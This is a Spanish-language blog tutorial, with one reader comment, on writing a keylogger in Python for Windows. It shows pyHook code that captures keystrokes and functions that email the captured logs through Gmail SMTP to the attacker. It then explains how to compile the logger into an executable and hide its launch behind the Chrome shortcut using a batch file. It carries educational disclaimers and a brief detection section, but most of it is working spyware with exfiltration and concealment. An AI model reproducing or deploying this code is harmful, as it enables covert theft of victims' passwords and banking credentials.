Cómo hacer un KEYLOGGER con PYTHON 🐍

Keylogger

En el post de hoy aprenderemos qué es un Keylogger, para que sirve, como funciona y además aprenderemos a detectarlo, eliminarlo y a crearlo con el lenguaje de programación python.

NOTA: este keylogger funcionaría solo a niveles locales, es para demostrar el funcionamiento de este en un entorno propio y controlado.

Antes de nada recordarte que este artículo es con fines academicos, divulgativos e informativos, cuyo único objetivo es educar en el ámbito de la ciberseguridad.

¿Qué es un Keylogger?

Posiblemente la definición más acertada de keylogger sería “registrador de teclas“, ya que esta es su traducción literal del inglés al español:

InglésEspañol
KeyTecla
LoggerRegistrador

Siendo más concreto, un Keylogger es un tipo de malware que permite interceptar y guardar las pulsaciones o teclas que un usuario pulsa en el teclado de su ordenador. Podría utilizarse dentro de una auditoría de ciberseguridad para comprobar el nivel de seguridad dentro de una empresa.

¿Para que sirve y cómo funciona el Keylogger?

Dentro del hacking y el mundo de la ciberseguridad, los Keylogger son utilizados para robar información sensible y de carácter personal de los trabajadores de las empresas. Con un Keylogger un auditor es capaz de sacar todas las contraseñas del usuarios infectado así como las cuentas bancarias. Es una buena alternativa al ataque por fuerza bruta o diccionario.

El funciamiento es muy simple, basta con crear un pequeño script (cómo el que veremos a continuación) que recoja todas las pulsaciones del teclado, las almacene y posteriormente las filtre al atacante.

¿Dónde guarda informacion el keylogger?

En función a lo complejo que sea, puede almacenarlo en un archivo .txt del pc infectado, subir la información a una base de datos o incluso mandar la información recopilada por correo electrónico al atacante. Esta última es la que realizaremos nosotros.

¿Qué tipos de Keylogger hay?

Existen dos tipos de Keylogger, y en función a las necesidades es más recomendable utilizar uno u otro:

  • Keylogger por software: es más difícil de crear, pero es invisible al ojo humano y requiere de conocimientos o software específico para detectarlo. Además debe combinarse con algún otro tipo de malware como un phishing o troyano para infectar el ordenador de la víctima.

  • Keylogger por hardware: es más fácil de hacer, pero más visible y fácil de detectar. Este tipo de keylogger fue utilizado por dos alumnos de la universidad politécnica de Valencia (UPV) para hackear sus notas. Si no sabes la historia, te la cuento AQUÍ 👇👇👇

¿Como crear un Keylogger con Python?

A continuación veremos como hacer un keylogger en windows 10 utilizando el lenguaje de programación python. Estos son los pasos que vamos a realizar:

  1. Instalar las librerías necesarias
  2. Programación registro teclas
  3. Programación envío por correo electrónico
  4. Creación del .exe (ejecutable)
  5. Creación del .bat (archivo batch)
  6. Vinculación a Google Chrome para que se ejecute en segundo plano.

Si tienes algúna duda más abajo encontrarás el vídeo explicativo dónde explico todo paso a paso

1. Instalar las librerías necesarias

Las librerías necesarias para este proyecto son:

  • PyHook
  • PyWin32

Las podéis descargar desde aquí 👉 https://www.lfd.uci.edu/~gohlke/pythonlibs/

Para instalarlas utilizaremos el comando “pip install” seguido del nombre de la librería.

2. Programación registro teclas

El primer paso será importar las librerías y crear la función que recoga las pulsaciones de las teclas:

def OnKeyboardEvent(event):
    logging.basicConfig(filename=carpeta_destino, level=logging.DEBUG, format='%(message)s')
    print('WindowName:', event.WindowName)
    print('Window:', event.Window)
    print('Key:', event.Key)
    logging.log(10, event.Key)
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown= OnKeyboardEvent
hooks_manager.HookKeyboard()

3. Programación envío por correo electrónico

Para que nuestro Keylogger envie datos al correo electrónico crearemos dos funciones, una para crear el email y otra para enviarlo:

def EnviarEmail():
    with open (carpeta_destino, 'r+') as f:
        fecha = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        data=f.read()
        data= data.replace('Space', ' ')
        data = data.replace('\n', '')
        data = 'Mensaje capturado a las: '+ fecha + '\n' + data
        print (data)
        crearEmail('pruebaKeyloggerCB@gmail.com', 'prueba123', 'pruebaKeyloggerCB@gmail.com', 'Nueva captura:' +fecha, data)
        f.seek(0)
        f.truncate()

def crearEmail(user, passw, recep,subj, body):
    import smtplib
    mailUser=user
    mailPass=passw
    From = user
    To = recep
    Subject= subj
    Txt=body

    email = """\From: %s\nTo: %s\nSubject: %s\n\n%s """ % (From, ", ".join(To), Subject, Txt)

    try:
        server=smtplib.SMTP("smtp.gmail.com", 587)
        server.ehlo()
        server.starttls()
        server.login(mailUser, mailPass)
        server.sendmail(From, To, email)
        server.close()
        print('Correo enviado con éxito!!')

    except:
        print('Correo fallido :(')

Es importante configurar la cuenta de correo para permitir el acceso de aplicaciones poco seguras:

Esto se puede hacer fácilmente desde aquí 👉 https://myaccount.google.com/u/5/lesssecureapps

Si quieres el código completo y la explicación más detallada de todo el proceso, puedes descargar el PDF 👇 NOTA: [Código 60% descuento EXTRA: KL60]

4. Creación del .exe (ejecutable)

Para instalarlas utilizaremos el comando “pyinstaller” seguido del nombre de nuestro archivo python.

5. Creación del .bat (archivo batch)

Para que nuestro .exe se ejecute en segundo plano cuando iniciemos una aplicación, deberemos crear un archivo batch (archivo con las extención .bat) dónde configuremos las aplicaciones que se deben abrir.

@echo off
cd C:\Users\i7-w81\Desktop\KeyloggerYT\dist\KeyloggerYT
start /MIN KeyloggerYT.exe
cd C:\Program Files (x86)\Google\Chrome\Application
start chrome.exe

6. Vinculación a Google Chrome para que se ejecute en segundo plano.

Abrimos las propiedades del Chrome y en la opción “Destino” copiamos la ruta del archivo.bat creado anteriormente y en la opción “Ejecutar” selecionamos minimizada

¡También puedes seguir mi explicación paso a paso en el vídeo tutorial que te dejo por aquí! 👇👇👇

¿Cómo saber si está instalado, detectarlo y eliminarlo?

Para detectar si tenemos un keylogger instalado en nuestro PC, basta con iniciar el administrador de tareas (Ctrl+Alt+Supr), irnos a la pestaña detalles y ver si existe algún proceso con un nombre extraño.

Para eliminarlo, deberemos hacer click derecho y seleccionar la opción “Finaliza tarea”.

¿Cómo prevenir la infección de un Keylogger?

El Keylogger suele instalarse en nuestros equipos como consecuencia de un ciberataque o malware mayor, por lo que, evitando que nos infecten de esta manera, evitaremos ser infectados por el Keylogger. Las recomendaciones que deberíamos seguir:

  • Programas o software antispyware.
  • Escaneos y análisis periódico de nuestros sistema.
  • Firewall/antivirus para evitar la descarga de archivos maliciosos como troyanos y o virus.
  • Buenas prácticas de seguridad.

¿Quieres saber más?

Recuerda que todo esto es con fines educativos, divulgativos y por el amor a la ciberseguridad 😁

1 comentario en “Cómo hacer un KEYLOGGER con PYTHON 🐍”

  1. hola tengo la version 3.9.2 y tengo problemas con las librerias. podrias ayudarme a orientarme con este tipo de problemas. gracias

    Traceback (most recent call last):
    File “C:\Users\Idear Tecnologias\Desktop\key.py”, line 1, in
    import pyHook, pythoncom, sys, logging #logging > libreria para registrar el historial de eventos logging > registra las acciones durante la ejecucción del programa
    ModuleNotFoundError: No module named ‘pyHook’

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *